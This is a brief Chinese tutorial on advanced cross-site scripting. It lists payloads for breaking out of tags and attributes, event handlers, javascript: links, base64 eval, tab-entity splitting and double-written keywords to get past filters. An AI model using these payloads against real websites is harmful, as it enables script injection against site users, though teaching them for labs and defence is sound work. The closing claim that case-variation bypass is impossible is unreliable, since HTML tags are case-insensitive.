XSS进阶
一、通过闭合标签来进行xss注入
我们可以在url中发现传递了一个参数name=test,而且该参数在当前web页面进行了回显,我们观察可以发现回显内容在h2标签里面,所以我们的payload可以通过闭合h2标签来进行xss注入:?name=1</h2><script>alert('xss');</script>
二、属性中的XSS注入
这里我们发现我们输入的数据(传递的参数)回显在了前端代码value的值中,所以我们的payload要闭合该属性及整个input标签,不能只闭合value,所以payload为:keyworld=1"> <script>alert('xss')</script>
三、利用事件
可用在尖括号被转义的情况下
payload:1" onclick="alert('xss')"
四、利用伪协议
payload: "> <a href="javascript:alert(/xss/);">xss</a>
五、利用base64加密(编码绕过)
payload:"> <script>eval(atob(加密的数据))</script>
六、利用	绕过过滤
说明:空格和%0a 这种宽字符都是实际存在的字符,而	(实体编码)就不一样了,它是一个 tab 符浏览器自动解析时会自动忽略该字符。
payload:"> <a href="javas	cript:alert(/xss/)>xss</a>"
七、双写绕过
payload:"> <scscriptript>alert(/xss/)</scscriptript>
注:因为js代码严格区分大小写所以并无大小写绕过!